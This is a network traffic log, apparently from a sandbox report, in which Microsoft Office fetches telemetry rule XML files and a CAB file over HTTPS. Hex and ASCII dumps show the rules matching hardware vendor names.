2024-10-28 17:43:22 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 9a188386-40ca-4825-a0c0-928fec275e9e MS-RequestId: f9773a9a-ec32-40e2-8f16-9db82bc471cb MS-CV: aYBcGgiukUWynb7D.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 28 Oct 2024 17:43:21 GMT Connection: close Content-Length: 24490
2024-10-28 17:43:22 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-28 17:43:22 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	63444	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:22 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:22 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 32193d61-901e-0015-09ca-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174322Z-r197bdfb6b4g24ztpxkw4umce800000006vg00000000950m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:23 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	63446	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:22 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:22 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 91249574-801e-0078-3dc7-27bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174322Z-17c5cb586f6wnfhvhw6gvetfh400000004vg000000002w3m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 17:43:23 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	63448	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:22 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:22 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: bbf1142f-f01e-0085-589b-2788ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174322Z-15b8d89586f2hk281qydt1fyf000000000gg000000006hys x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:23 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	63447	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:22 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:22 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e84b733d-701e-005c-1bb8-26bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174322Z-16849878b78bjkl8dpep89pbgg000000041g00000000czdp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 17:43:23 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	63445	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:23 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: df0b1010-b01e-0021-3b24-28cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174323Z-r197bdfb6b4zd9tpkpdngrtchw00000004mg000000008kqh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 17:43:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	63453	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:24 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:24 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:24 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: cb18986a-b01e-0053-40f0-27cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174324Z-r197bdfb6b47gqdjvmbpfaf2d000000000mg0000000055n8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:24 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	63451	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:24 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:24 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:24 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 962f3e82-b01e-0070-52cb-261cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174324Z-r197bdfb6b4qbfppwgs4nqza8000000004300000000004ke x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:24 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	63454	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:24 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:24 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:24 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: b80877bf-b01e-0084-28e3-26d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174324Z-17c5cb586f6r59nt869u8w8xt8000000046g00000000fcmx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:24 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	63455	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:25 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:25 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:25 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d7faccb9-c01e-002b-307f-276e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174325Z-16849878b78p8hrf1se7fucxk8000000064000000000r28w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:25 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	63452	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:25 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:25 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 9985b9b7-a01e-0021-5827-28814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174325Z-15b8d89586f8l5961kfst8fpb00000000g10000000002g4p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:25 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	63457	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:26 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 6484a1a6-201e-0000-75a3-26a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174326Z-16849878b785dznd7xpawq9gcn00000006pg00000000ma5p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
